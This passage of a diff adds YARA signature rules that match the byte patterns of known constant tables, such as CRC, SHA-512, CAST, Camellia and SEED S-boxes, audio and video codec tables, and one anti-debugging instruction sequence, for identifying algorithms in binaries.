93fdc3ae2d4f6e7d33fde1087a22050d83fe00258cac764023fe10cae33da78063fe228526f0da9e23fe356656762e5a83fe49819ccdab99f3fe5eeb6264234023fe75b964e608b303fe8e02ca5fb51c53fea7e03a67dadab3fec36bf69e2c7b63fee0c1f5d93590e3ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_USB_poly_0x14__8_byt_refl_False_
+{
+strings:
+	$a0 = { 0014283c5044786ca0b4889cf0e4d8cc54407c6804102c38f4e0dcc8a4b08c98a8bc8094f8ecd0c4081c2034584c7064fce8d4c0acb884905c4874600c18243044506c7814003c28e4f0ccd8b4a09c881004382c4054687cb0a4988ce0f4c8dcecf8c4d0bca894804c5864701c083420b8ac9084e8fcc0d4180c3024485c6074889ca0b4d8ccf0e4283c0014786c5044dcc8f4e08c98a4b07c6854402c3804102034081c7064584c8094a8bcd0c4f8ec74605c4824300c18d4c0fce88490acb8ccd8e4f09c88b4a06c7844503c281400988cb0a4c8dce0f4382c1004687c405464704c5834201c08c4d0ecf89480bca83024180c6074485c9084b8acc0d4e8fc }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_512__16_big_72_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c003000340038003c0044004c0054005c00640070007c0088009400a400b800d000ec010c012c014c016c018c01ac01cc0200 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_512__flt32___32_lil_4096_
+{
+strings:
+	$a0 = { 0000803f0000000011fb7f3f900e493c43ec7f3fb00ac93c97d37f3f2cc3163d0fb17f3f30fb483dab847f3f752b7b3d6d4e7f3f05a9963d580e7f3f81b6af3d6dc47e3f36bdc83db0707e3f2ebce13d24137e3f73b2fa3dccab7d3f87cf093eac3a7d3f8340163ec9bf7c3fb6ab223e283b7c3fa3102f3ecdac7b3fcf6e3b3ebe147b3fc2c5473e02737a3f0215543e9dc7793f135c603e9812793f809a6c3ef853783fcdcf783ec58b773fc17d823e07ba763f948e883ec6de753f229a8e3e0bfa743f31a0943edd0b743f86a09a3e4714733fe59aa03e5213723f138fa63e0809713fd47cac3e73f56f3fef63b23e9ed86e3f2a44b83e93b26d3f4a1dbe3e5e836c3f16efc33e0c4b6b3f54b9c93ea6096a3fcb7bcf3e3bbf683f4236d53ed86b673f80e8da3e880f663f4f92e03e59aa643f7533e63e5a3c633fbbcbeb3e97c5613fea5af13e2146603fcae0f63e05be5e3f285dfc3e532d5d3fe4e7003f1a945b3f3d9c033f6af2593f834b063f5348583f9bf5083fe595563f6b9a0b3f31db543fda390e3f4818533fcdd3103f3d4d513f2b68133f1f7a4f3fdaf6153f029f4d3fc07f183ff8bb4b3fc5021b3f12d1493fd27f1d3f65de473fcbf61f3f03e4453f9a67223f00e2433f25d2243f70d8413f5636273f67c73f3f1594293ff9ae3d3f4aeb2b3f3b8f3b3fde3b2e3f4268393fbb85303f223a373fcac8323ff304353ff304353fc9c8323f233a373fba85303f4268393fde3b2e3f3b8f3b3f49eb2b3ffaae3d3f1494293f67c73f3f5536273f71d8413f25d2243f01e2433f9967223f03e4453fcaf61f3f66de473fd17f1d3f12d1493fc5021b3ff8bb4b3fc07f183f029f4d3fd9f6153f1f7a4f3f2a68133f3d4d513fcdd3103f4918533fd9390e3f32db543f6b9a0b3fe595563f9bf5083f5348583f824b063f6af2593f3c9c033f1b945b3fe5e7003f532d5d3f275dfc3e05be5e3fc9e0f63e2246603fe75af13e98c5613fbbcbeb3e5a3c633f7433e63e59aa643f4d92e03e880f663f81e8da3ed86b673f4136d53e3cbf683fc97bcf3ea7096a3f50b9c93e0c4b6b3f15efc33e5e836c3f481dbe3e93b26d3f2744b83e9ed86e3fef63b23e73f56f3fd37cac3e0809713f108fa63e5313723fe29aa03e4814733f86a09a3edd0b743f30a0943e0bfa743f1f9a8e3ec7de753f938e883e07ba763fc07d823ec58b773fc8cf783ef853783f819a6c3e9812793f125c603e9dc7793ffe14543e02737a3fbcc5473ebf147b3fcf6e3b3ecdac7b3fa0102f3e283b7c3fb1ab223ec9bf7c3f8540163eac3a7d3f85cf093eccab7d3f6cb2fa3d24137e3f22bce13db0707e3f35bdc83d6dc47e3f7bb6af3d580e7f3ffba8963d6d4e7f3f772b7b3dab847f3f29fb483d0fb17f3f1cc3163d98d37f3f7e0ac93c43ec7f3f860e493c11fb7f3f2ebd3bb30000803fe40e49bc11fb7f3fad0ac9bc43ec7f3f33c316bd97d37f3f41fb48bd0fb17f3f8e2b7bbdab847f3f06a996bd6d4e7f3f87b6afbd580e7f3f41bdc8bd6dc47e3f2ebce1bdb0707e3f77b2fabd23137e3f8bcf09becbab7d3f8a4016beac3a7d3fb7ab22bec9bf7c3fa6102fbe283b7c3fd56e3bbecdac7b3fc2c547bebe147b3f041554be02737a3f185c60be9dc7793f869a6cbe9712793fcdcf78bef853783fc27d82bec58b773f968e88be07ba763f229a8ebec6de753f33a094be0afa743f89a09abedd0b743fe49aa0be4714733f138fa6be5213723fd67cacbe0809713ff263b2be72f56f3f2a44b8be9ed86e3f4b1dbebe93b26d3f18efc3be5e836c3f53b9c9be0c4b6b3fcb7bcfbea6096a3f4036d5be3cbf683f80e8dabed86b673f4f92e0be870f663f7633e6be59aa643fbecbebbe593c633fed5af1be97c5613fcfe0f6be2046603f265dfcbe06be5e3fe4e700bf532d5d3f3d9c03bf1a945b3f834b06bf69f2593f9cf508bf5248583f6d9a0bbfe495563fdc390ebf30db543fccd310bf4918533f2a6813bf3d4d513fdaf615bf1f7a4f3fc17f18bf029f4d3fc7021bbff7bb4b3fd37f1dbf11d1493fcdf61fbf63de473f996722bf04e4453f25d224bf00e2433f563627bf70d8413f159429bf66c73f3f4beb2bbff8ae3d3fe03b2ebf398f3b3fbd8530bf4068393fc9c832bf233a373ff30435bff304353f233a37bfc9c8323f436839bfba85303f3c8f3bbfdd3b2e3ffbae3dbf48eb2b3f69c73fbf1294293f70d841bf5636273f01e243bf25d2243f04e445bf9967223f66de47bfcaf61f3f13d149bfd07f1d3ff9bb4bbfc4021b3f049f4dbfbd7f183f1f7a4fbfd9f6153f3d4d51bf2a68133f491853bfccd3103f32db54bfd9390e3fe69556bf699a0b3f544858bf98f5083f6cf259bf804b063f1a945bbf3d9c033f532d5dbfe4e7003f06be5ebf255dfc3e224660bfc8e0f63e99c561bfe65af13e5b3c63bfb6cbeb3e59aa64bf7633e63e880f66bf4f92e03ed86b67bf7fe8da3e3cbf68bf3f36d53ea7096abfc77bcf3e0c4b6bbf4fb9c93e60836cbf10efc33e93b26dbf4b1dbe3e9ed86ebf2a44b83e73f56fbfee63b23e090971bfd27cac3e531372bf0f8fa63e481473bfe09aa03ede0b74bf81a09a3e0bfa74bf33a0943ec6de75bf229a8e3e07ba76bf928e883ec58b77bfbe7d823ef85378bfc5cf783e981279bf769a6c3e9ec779bf085c603e02737abf0315543ebf147bbfc1c5473ecdac7bbfcc6e3b3e283b7cbf9d102f3ec9bf7cbfaeab223eac3a7dbf7a40163eccab7dbf7acf093e23137ebf76b2fa3db0707ebf2dbce13d6dc47ebf30bdc83d580e7fbf75b6af3d6e4e7fbff5a8963dab847fbf4b2b7b3d0fb17fbffdfa483d97d37fbf30c3163d43ec7fbfa60ac93c11fb7fbf570e493c0000803f0000000043ec7f3fb00ac93c0fb17f3f30fb483d6d4e7f3f05a9963d6dc47e3f36bdc83d24137e3f73b2fa3dac3a7d3f8340163e283b7c3fa3102f3ebe147b3fc2c5473e9dc7793f135c603ef853783fcdcf783e07ba763f948e883e0bfa743f31a0943e4714733fe59aa03e0809713fd47cac3e9ed86e3f2a44b83e5e836c3f16efc33ea6096a3fcb7bcf3ed86b673f80e8da3e59aa643f7533e63e97c5613fea5af13e05be5e3f285dfc3e1a945b3f3d9c033f5348583f9bf5083f31db543fda390e3f3d4d513f2b68133f029f4d3fc07f183f12d1493fd27f1d3f03e4453f9a67223f70d8413f5636273ff9ae3d3f4aeb2b3f4268393fbb85303ff304353ff304353fba85303f4268393f49eb2b3ffaae3d3f5536273f71d8413f9967223f03e4453fd17f1d3f12d1493fc07f183f029f4d3f2a68133f3d4d513fd9390e3f32db543f9bf5083f5348583f3c9c033f1b945b3f275dfc3e05be5e3fe75af13e98c5613f7433e63e59aa643f81e8da3ed86b673fc97bcf3ea7096a3f15efc33e5e836c3f2744b83e9ed86e3fd37cac3e0809713fe29aa03e4814733f30a0943e0bfa743f938e883e07ba763fc8cf783ef853783f125c603e9dc7793fbcc5473ebf147b3fa0102f3e283b7c3f8540163eac3a7d3f6cb2fa3d24137e3f35bdc83d6dc47e3ffba8963d6d4e7f3f29fb483d0fb17f3f7e0ac93c43ec7f3f0000803f000000000fb17f3f30fb483d6dc47e3f36bdc83dac3a7d3f8340163ebe147b3fc2c5473ef853783fcdcf783e0bfa743f31a0943e0809713fd47cac3e5e836c3f16efc33ed86b673f80e8da3e97c5613fea5af13e1a945b3f3d9c033f31db543fda390e3f029f4d3fc07f183f03e4453f9a67223ff9ae3d3f4aeb2b3ff304353ff304353f49eb2b3ffaae3d3f9967223f03e4453fc07f183f029f4d3fd9390e3f32db543f3c9c033f1b945b3fe75af13e98c5613f81e8da3ed86b673f15efc33e5e836c3fd37cac3e0809713f30a0943e0bfa743fc8cf783ef853783fbcc5473ebf147b3f8540163eac3a7d3f35bdc83d6dc47e3f29fb483d0fb17f3f2ebd3bb30000803f41fb48bd0fb17f3f41bdc8bd6dc47e3f8a4016beac3a7d3fc2c547bebe147b3fcdcf78bef853783f33a094be0afa743fd67cacbe0809713f18efc3be5e836c3f80e8dabed86b673fed5af1be97c5613f3d9c03bf1a945b3fdc390ebf30db543fc17f18bf029f4d3f996722bf04e4453f4beb2bbff8ae3d3ff30435bff304353ffbae3dbf48eb2b3f04e445bf9967223f049f4dbfbd7f183f32db54bfd9390e3f1a945bbf3d9c033f99c561bfe65af13ed86b67bf7fe8da3e60836cbf10efc33e090971bfd27cac3e0bfa74bf33a0943ef85378bfc5cf783ebf147bbfc1c5473eac3a7dbf7a40163e6dc47ebf30bdc83d0fb17fbffdfa483d0000803f000000006d4e7f3f05a9963dac3a7d3f8340163e9dc7793f135c603e0bfa743f31a0943e9ed86e3f2a44b83ed86b673f80e8da3e05be5e3f285dfc3e31db543fda390e3f13d1493fd17f1d3ff9ae3d3f4aeb2b3fba85303f4268393f9967223f03e4453f2b68133f3d4d513f3c9c033f1b945b3f7433e63e59aa643f15efc33e5e836c3fe59aa03e4714733fd0cf783ef853783fa0102f3e283b7c3f35bdc83d6dc47e3fbe0ac93c43ec7f3f41fb48bd0fb17f3f77b2fabd23137e3fc2c547bebe147b3f928e88be07ba763fd27cacbe0809713fcb7bcfbea6096a3fed5af1be97c5613f9cf508bf5248583fc17f18bf029f4d3f563627bf70d8413ff30435bff304353f70d841bf5636273f029f4dbfc17f183f524858bf9cf5083f97c561bfed5af13ea7096abfc77bcf3e090971bfd27cac3e07ba76bf928e883ebf147bbfc1c5473e23137ebf76b2fa3d0fb17fbf3dfb483d43ec7fbf840ac9bc6dc47ebf47bdc8bd283b7cbfa9102fbef85378bfd0cf78be471473bfe69aa0be5e836cbf15efc3be59aa64bf7433e6be1b945bbf3c9c03bf3e4d51bf296813bf05e445bf986722bf416839bfbc8530bf49eb2bbffaae3dbfd17f1dbf13d149bfd6390ebf34db54bf275dfcbe05be5ebf7be8dabed96b67bf2c44b8be9dd86ebf2da094be0bfa74bf1c5c60be9dc779bf7f4016beac3a7dbf1fa996bd6d4e7fbf0000803f000000006dc47e3f36bdc83dbe147b3fc2c5473e0bfa743f31a0943e5e836c3f16efc33e97c5613fea5af13e31db543fda390e3f03e4453f9a67223ff304353ff304353f9967223f03e4453fd9390e3f32db543fe75af13e98c5613f15efc33e5e836c3f30a0943e0bfa743fbcc5473ebf147b3f35bdc83d6dc47e3f0000803f00000000be147b3fc2c5473e5e836c3f16efc33e31db543fda390e3ff304353ff304353fd9390e3f32db543f15efc33e5e836c3fbcc5473ebf147b3f2ebd3bb30000803fc2c547bebe147b3f18efc3be5e836c3fdc390ebf30db543ff30435bff304353f32db54bfd9390e3f60836cbf10efc33ebf147bbfc1c5473e0000803f000000000bfa743f31a0943e31db543fda390e3f9967223f03e4453f15efc33e5e836c3f35bdc83d6dc47e3fc2c547bebe147b3fed5af1be97c5613ff30435bff304353f97c561bfed5af13ebf147bbfc1c5473e6dc47ebf47bdc8bd5e836cbf15efc3be05e445bf986722bfd6390ebf34db54bf2da094be0bfa74bf0000803f000000005e836c3f16efc33ef304353ff304353f15efc33e5e836c3f0000803f00000000f304353ff304353f2ebd3bb30000803ff30435bff304353f0000803f0000000015efc33e5e836c3ff30435bff304353f5e836cbf15efc3be0000803f000000000000803f000000000000803f000000002ede4c32000080bf }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap1__16_big_48_
+{
+strings:
+	$a0 = { 1BFF1283045210AD28AC12D4E9BAF38DC76DFA90F8150351027918371B61CE15F6FEF5B4FA44E4891DA82979E8C6F40A }
+
+condition:
+	$a0
+}
+
+	
+rule Hash_constant_words_K_for_SHA_384_and_SHA_512__64_big_640_
+{
+strings:
+	$a0 = { 428a2f98d728ae227137449123ef65cdb5c0fbcfec4d3b2fe9b5dba58189dbbc3956c25bf348b53859f111f1b605d019923f82a4af194f9bab1c5ed5da6d8118d807aa98a303024212835b0145706fbe243185be4ee4b28c550c7dc3d5ffb4e272be5d74f27b896f80deb1fe3b1696b19bdc06a725c71235c19bf174cf692694e49b69c19ef14ad2efbe4786384f25e30fc19dc68b8cd5b5240ca1cc77ac9c652de92c6f592b02754a7484aa6ea6e4835cb0a9dcbd41fbd476f988da831153b5983e5152ee66dfaba831c66d2db43210b00327c898fb213fbf597fc7beef0ee4c6e00bf33da88fc2d5a79147930aa72506ca6351e003826f142929670a0e6e7027b70a8546d22ffc2e1b21385c26c9264d2c6dfc5ac42aed53380d139d95b3df650a73548baf63de766a0abb3c77b2a881c2c92e47edaee692722c851482353ba2bfe8a14cf10364a81a664bbc423001c24b8b70d0f89791c76c51a30654be30d192e819d6ef5218d69906245565a910f40e35855771202a106aa07032bbd1b819a4c116b8d2d0c81e376c085141ab532748774cdf8eeb9934b0bcb5e19b48a8391c0cb3c5c95a634ed8aa4ae3418acb5b9cca4f7763e373682e6ff3d6b2b8a3748f82ee5defb2fc78a5636f43172f6084c87814a1f0ab728cc702081a6439ec90befffa23631e28a4506cebde82bde9bef9a3f7b2c67915c67178f2e372532bca273eceea26619cd186b8c721c0c207eada7dd6cde0eb1ef57d4f7fee6ed17806f067aa72176fba0a637dc5a2c898a6113f9804bef90dae1b710b35131c471b28db77f523047d8432caab7b40c724933c9ebe0a15c9bebc431d67c49c100d4c4cc5d4becb3e42b6597f299cfc657e2a5fcb6fab3ad6faec6c44198c4a475817 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_Inverse_Table_6_9__32_big_128_
+{
+strings:
+	$a0 = { 0001cb0000021cd500003682000088570001cb0000021cd5000036820000885700019895000204690000644b0000d01f00019895000204690000644b0000d01f00019800000206be000060b70000cf7500019895000204690000644b0000d01f00019895000204690000644b0000d01f0001cb4b000214260000420b00008ae7 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_rear__180_degree___flt32___32_big_512_
+{
+strings:
+	$a0 = { b87b3396b96ef939398b6ab9b9c5e82439ee0b01b9dc536a3985ca6639944c31ba85386c3b3ba9883b0d64823c299822bc2bbb86bc5839103b513eac3cedd3373e27292b3dd6868abdd65117bdbda619bbf63a083c5ec2cdbca2d3583e00937c3ebac94c3e4740a2bd359e9b3d3ecd523dc23db7bd00862bbdd2e43bbdbf82a6bde7536fbe18d5d7bdfc344dbd822f85bd5eea6bbd9b0063bcbefef53d2e874e3cb83d803ca7c9c73d677a9e3d710d1b3d1b87803c40cc083bb7aa5c3ba583e9bc53c74bbcc3f189bc591d7dbc2f3921bcfc5a7cbd15f749bd1b54ddbd2cce61bcd9df28bc1fe452bb0754babb1e9ad3bbd940673b9763203c9f56f43c8e26043c9084c03cb9f5f93c9b74763c185e69bade2c15bbdd3cbebc19b2a3bc37a36cbc566858bc87b077bcb441f1bcce3892bc8a9936bc0dbf0cbbe55fa9bbb2be6ebb0a79743944434eb9962c963ae6e2e33be4ea0a3c2d4c723bd3e19ebac475dcbb81fd67bbd581a1bc191440bbfa72acbb9005bcbb481066bbe60081bc1f991bbc028c47bbffa3d7bbf6ee72bb68376a3ac5b2923b19000bba83a4cfbb25c740bb1b5517ba1ae12a3b4378263b9e3cff3b93131837ddc60fbb89f4b1bbca32c0bbee2144bbdfa8a3bbe21801bbf0d32abc1c89dbbc412c17bc2e6bb5bbd3e210bb04d31db9e362b1ba92712fbaeb3ee1bb278517bae847b3b979856b3a3ae96d }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book6__32_lil_972_
+{
+strings:
+	$a0 = { 000000000b000000fe070000010000000a000000fd0300000200000009000000f10100000300000009000000eb0100000400000009000000f40100000500000009000000ea0100000600000009000000f0010000070000000a000000fc030000080000000b000000fd070000090000000a000000f60300000a00000009000000e50100000b00000008000000ea0000000c000000070000006c0000000d00000007000000710000000e00000007000000680000000f00000008000000f00000001000000009000000e6010000110000000a000000f70300001200000009000000f30100001300000008000000ef0000001400000006000000320000001500000006000000270000001600000006000000280000001700000006000000260000001800000006000000310000001900000008000000eb0000001a00000009000000f70100001b00000009000000e80100001c000000070000006f0000001d000000060000002e0000001e00000004000000080000001f000000040000000400000020000000040000000600000021000000060000002900000022000000070000006b0000002300000009000000ee0100002400000009000000ef01000025000000070000007200000026000000060000002d0000002700000004000000020000002800000004000000000000002900000004000000030000002a000000060000002f0000002b00000007000000730000002c00000009000000fa0100002d00000009000000e70100002e000000070000006e0000002f000000060000002b00000030000000040000000700000031000000040000000100000032000000040000000500000033000000060000002c00000034000000070000006d0000003500000009000000ec0100003600000009000000f90100003700000008000000ee0000003800000006000000300000003900000006000000240000003a000000060000002a0000003b00000006000000250000003c00000006000000330000003d00000008000000ec0000003e00000009000000f20100003f0000000a000000f80300004000000009000000e40100004100000008000000ed00000042000000070000006a0000004300000007000000700000004400000007000000690000004500000007000000740000004600000008000000f1000000470000000a000000fa030000480000000b000000ff070000490000000a000000f90300004a00000009000000f60100004b00000009000000ed0100004c00000009000000f80100004d00000009000000e90100004e00000009000000f50100004f0000000a000000fb030000500000000b000000fc070000 }
+
+condition:
+	$a0
+}
+
+	
+rule RRC2___Ron_Rivest_Cipher_Nr__2_Beale__16_big_512_
+{
+strings:
+	$a0 = { 004700c2002606a50059004c000b0053065d0030005e003f00840010006f005f0054015503cf000e00280040001b0051008b00d5003f005a04600008000f0003007e07e20028004a02f601e5025c00e601b402980246009600fb011c013400e7007c00d301e600e101910172000b00650131008b00bd00110021005800d000c100910001005e004901a003960107001c01f4021a01640075008800db001b00b00082000a01cc001901e5001201b40041005400c8011b00760140008a002401a00118000f004700e003c1002c0010019100270058003d0130000c00150018011b0086005c003f00f601e602aa000700db00b80168030c0012004001cf01da008300a0004f004901b8005f001200400245002200450080016f01cc00110051000c00670334003e006e00610067035e0046003c052501d7021c00d00079037a015a00240096003b02380266000d0078003f00db032c087006f4006300230012001500880368000f001c00aa00580004001e002c00700012009301b400c301400025007a00710006008c000800780131002a003a01cd002c006a012d000d019802a8005d0056007402120052023800090066002601a00059004700d802d803c5033200020026007900c3000e0146009400ea00120037008300ea0169033800050051026f003003c10013001a0021000a044d016d005c005800b50113015a00c900ce }
+
+condition:
+	$a0
+}
+
+	
+rule Boucher_randgen1__32_big_AND_
+{
+strings:
+	$a0 = { 0000016f[0-20]000000ab[0-20]00000377[0-20]00000150[0-20]000005d1[0-20]000000fc }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox1__32_lil_1024_
+{
+strings:
+	$a0 = { d440fb300bffa09f2fcdec6b7a8c253f2f3f211ed34d009c40e5036049c99fcf27afd4bfb5bdbb88904003e27596d098e0a0636ed261c3151d66e7c28effd4226f3b682859d07fc0c87923ffe2505f77d340c34356862fdf1aa47c882dbdd2a2d6e0c9a119486c34876db7612f0f5422e132be2a6b1654aa3a8e5622d041d3a2c840db662f3984a72fff4d00ded2b92dac3f9497d8c1974ab7447652a737f4b5efba2cb859d151d7edf0f76f1f7a095ad0687b822ef5ec9054c0b02235598ebc7f2f6d4ba264bb50104966d22d81e5be902233b79f153be911e48eb45d34ff4b40c245fd3f9731ad2ed0f6c46581fc55adcab1d5ae2daca16db7d4a2500c9bc1f2402288384f6e0cd7bfe4a472a25b4f2f1d4c5619539cc554e349b9fe6946b08aabb6b1dd5813c745c585635d930f11d58a53579304396ae0373de6b3f6542a5f7d783ab5a07662dffca6196a20427ad5d4f92991181bf65e2772bb678150aa91109038eb05b5c68ccbc7840f5ad72a27144a876b93d1a2af86d22a91d256aa604389d70d755c42269eb393c98471182db3006c14bbe2733cbcbea079376254ab9e4564828b323f82cf1877a6cea2592e00ee04e678fe895009ab3fc2f65f32053f3881c8c56369d65acb76c97499d4cf0d18cad5820738f65cfac71115c38a139ee735d091da4786900ff49e41e2a74162363195f41e05043b57aa8d5d804ad00083543c2a3200dfcd64bf8ea657ba2b37c67541d3af507532c1a7f50b5a91abbf546b26140b2bd7c94cab82cd9c4465f2fbf7f3c585ab94db551b24e3d4aa3fbda4cfe2a3ea2d024d209eac25bdc8b355dfea989ebdd5b23112e36cadd52ade2943952845bead690f71d80fc951aaf66b78aa1e3f51229ba751aacc44d32af0415a7badfb7cd30595061b91e4ec41e632c3b4d4682203cc0a60c96d7e38ce6cb16bbf78fb706ac9d9030dde39dfd4da6310e064f43647d828d35a96cc47b3c30fbb75fb1b519835ccfb4f6acf8bb5bc0a1fe14afec5bf10ec0aa70a5739ac2f44043f53b188612e7a39e079cb27578f41eb9c8dd6ac1c967cd32a9dcb750109ff9dc6f0655bc7d840dbd979770eecd4ea444774321cb19ecb24ddbd541c7ef94411f0b10e24d2fdb375965537aca3af277cd44d5fc85196759056e615bba5f0040358f12c04caea371a01dbaabf8d4a3eba35a0ff2635094d7bc3d96e30bc6626a59825f748569d565effd063ed0ccfb2637ce1450b70f150ead57228a985a7bd1faf704823d4f30b87a7794d3b2d9841e042e7edd00cb80d47264c8181f8d76a4d475c5e0c7c591923d198721b38dbf4d2f5538683ab231e2f6e9e9c718346e091bd6e45569a0c2039dc71c5c8201cda2b96ff96e6e108ab41b1b989ca7c83e7691a4348cc0279c5f7a27df49e429c167b4249f0c95a000f8fddbf65815c }
+
+condition:
+	$a0
+}
+
+	
+rule Camellia_s4__8_byt_256_
+{
+strings:
+	$a0 = { 702cb3c0e457eaae236b45a5ed4f1d9286af7c1f3edc5e0ba639d55dd95a516c8b9afbb0742bf084dfcb34766da9d104143ade11329c53f2fecfc37a24e86069aaa0a162541ee0641000a3758ae609dd8783cd9073f69dbf52d8c8c6816f1363e9a79fbc29f92fb47806e771d4ab888d72b9f8ac362a3cf140d3bb4315ad778082ec27e585350c41ef9319210e4e65bdb88febce305fc51ae1ca473d01d6564d0d66cc2d1220b1994cc27e05b73117d758611b1c0f16182244b2b59108a8fc50d07d89975b95ffd2c448f7db03da3f945c024a3367f37fe29b26373b964bbe2e798c6e8ef5b6fd59986a46ba2542a2fa0755ee0a496838a4287bc9c1e3f4c79e }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABYule__flt32___32_big_756_
+{
+strings:
+	$a0 = { 3d1e01ddc0762f73bcb0fa2f40fa149ebaa1bc99c135779eb8c2dc514150e174bc879953c1449a013cb112814117ba1dbca9e7e1c0bbec2a3bc2bd5640304c543b48d217bf5eae1538fc30753e0e88a63b3d0c2d3d5df2bbc05e9f15bcee784240cb9f27bc0b0d74c108c29fbc0b747a4117a188bc08ce0fc10d0a303cb7ef3640db5418bcd4b12ac08ca1773c851be3400c8d2ebb1ddcccbf40445b3bdd0eb33e06a626baf61b123e1e4862c0184158bdbf1992403650ccbd7fe9c6c02954533cb13cc3400f2aa0bd64e68dbfd5f31b3d43d96b3f80c3483b11b1ddbeeb481e3d0202c63e27b660bc63d58cbd4e1d293bd575203cc056fabc1067083e9b1ec3bfce6dfebe6791373f8a3611bdafde4fbe835c2c3d067805be26ac71bc16075dbe67d280bcc1aba23ec84c6abbbf83babe62b1ce3d8088d93d385463b70aee0e3ca451c33b06e9e53b4634dcbcf1acd13eac3fa4bfbfd1cabe82ee0c3f5f9de0bdf23fc63df9f5783df42527bf4ec8abbda0734a3ef5043dbb9a009bbdff0bfdbbc12addbd269af03d6a76e23daaace13c085274bd2d8fd0bc85f86f3cf3e490bc9031943ee5f753bf20d21fbe12f6453e97de4bbe694fecbebec0acbc68830d3b0c184c3d270bafbed73153bdfdea153e63530d3d27d6163bc901c43dd699893d8a30f7bc98b08f3d6cf23dbd02cd863d0401073bb192843f10f223bf8624f9bf4130633e9547c33e2651cabe893f293e2b76083c065947be418d6c3ee6ae243e9e5ee8bea9203bbe8d1f533d8a05b33bd41c5bbd43f68b3db119d33c86575cbd1b32623c940f2dbbc0bf163f14bcbebf02a683bf0820b5bea32436be1253dabe4f6cf93e33697a3e16d0f93cc2cd203ec770013e1f518abe6eba58be81c3ecbd56e07f3c856755bccd49d43d8dbb2f3cc813f2bd186fed3c94ff06bbf5a2953f095745be80415ebed7dfefbedd272abb34d955bd0c46623d2ecf92bd3f9fd5bdd1334f3e8735e33e1568d63e1ac22abcc9831bbe33c74bbde56c65be40bf64bd264c8b3d605e103d4424cc3d40b150bcb5b182 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_shzscale_and_shpscale__flt32___32_big_88_
+{
+strings:
+	$a0 = { 3f8000003f2668003ed850003e8c98003e36d0003deda0003d9a80003d48c0003d0280003ca980003c5d00003f8000003f4000003f1000003ed800003ea200003e7300003e3640003e08b0003dcd00003d99c0003d66c000 }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS0__32_big_1024_
+{
+strings:
+	$a0 = { 2989a1a80585818416c6d2d413c3d3d0144450541d0d111c2c8ca0ac250521241d4d515c03434340180810181e0e121c114151503cccf0fc0acac2c8234363602808202804444044200020201d8d919c20c0e0e022c2e2e008c8c0c8170713142585a1a40f8f838c030303003b4b73783b8bb3b81303131012c2d2d02ecee2ec304070700c8c808c3f0f333c2888a0a8320232301dcdd1dc36c6f2f4344470742ccce0ec158591940b0b0308174753541c4c505c1b4b53583d8db1bc01010100240420241c0c101c3343737018889098100010100cccc0cc32c2f2f019c9d1d82c0c202c27c7e3e432427270038383801b8b939811c1d1d00686828409c9c1c820406060104050502383a3a02bcbe3e80d0d010c3686b2b41e8e929c0f4f434c3787b3b41a4a525806c6c2c4384870782686a2a4120212102f8fa3ac15c5d1d42141616003c3c3c03484b0b401414140124252503d4d717c0d8d818c080800081f0f131c198991980000000019091118040400041343535037c7f3f421c1e1e03dcdf1fc364672742f0f232c270723243080b0b00b8b83880e0e020c2b8ba3a82282a2a02e4e626c138393900d4d414c294961683c4c707c090901080a0a02083f8fb3bc2fcfe3ec33c3f3f005c5c1c407878384140410143ecef2fc244460641eced2dc2e0e222c0b4b43481a0a121806060204210121202b4b6368264662640202020035c5f1f4128292900a8a82880c0c000c3383b3b03e4e727c10c0d0d03a4a7278074743441686929425c5e1e426062224008080802d8da1ac1fcfd3dc2181a1a030003030370733342e8ea2ac3606323415051114220222203808303834c4f0f42787a3a4054541440c4c404c0181818029c9e1e80484808417879394350531340bcbc3c80ecec2cc3c0c303c314171701101111007c7c3c409898188354571743bcbf3f81acad2d838c8f0f814849094194951580282828004c4c0c43fcff3fc09494148390931382747636400c0c0c00fcfc3cc17c7d3d43888b0b80f0f030c0e8e828c0242424023032320118191902c4c606c1bcbd3d82484a0a43404303431c1f1f00848404802c2c2c02f4f636c3d0d313c2d0d212c004040403e8eb2bc3e0e323c3c8cb0bc01c1c1c02a8aa2a83a8ab2b80e4e424c154551543b0b33381cccd0dc284860683f4f737c1c8c909c18c8d0d80a4a424816465254374773742080a0a02dcde1ec064642443585b1b42b0b2328254561643acaf2f823c3e3e03989b1b83181b1b01f8f939c1e4e525c39c9f1f826c6e2e43282b2b0310131302acae2e82d4d616c1f4f535c24c4e0e430c0f0f00dcdc1cc08888088160612143a0a32381848505814c4d0d42242626029092128070703043303333028c8e0e81b0b13180505010439497178108090902a4a62682a0a22281a8a9298 }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_freq_map__32_big_136_
+{
+strings:
+	$a0 = { 00000008000007d00000001000000e740000001800000f3c000000200000157c0000002800001b580000003000001d4c00000038000027100000004000002af800000050000034bc0000006000003afc0000007000003cf00000008000004268000000a00000445c000000c0000048a8000000e000004bc80000010000004cf40000014000005014 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Detect_single_stepping_and_turn_off_the_monitor__2___8_byt_13_
+{
+strings:
+	$a0 = { 66bac403b001ee6642ec20d0ee }
+
+condition:
+	$a0
+}
+
+	
+rule Westwood_Studios_ADPCM__WSTable2bit_and_WSTable4bit___8_byt_20_
+{
+strings:
+	$a0 = { FEFF0001F7F8FAFBFCFDFEFF0001020304050608 }
+
+condition:
+	$a0
+}
+
+	
+rule compression_algorithm_seen_in_the_game_DreamKiller__32_lil_AND_
+{
+strings:
+	$a0 = { 1fffffff[0-20]3fffffff[0-20]0fffffff }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceExtraBits__32_lil_120_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000100000001000000020000000200000003000000030000000400000004000000050000000500000006000000060000000700000007000000080000000800000009000000090000000a0000000a0000000b0000000b0000000c0000000c0000000d0000000d000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_same_side__30_degree___flt64___64_lil_1024_
+{
+strings:
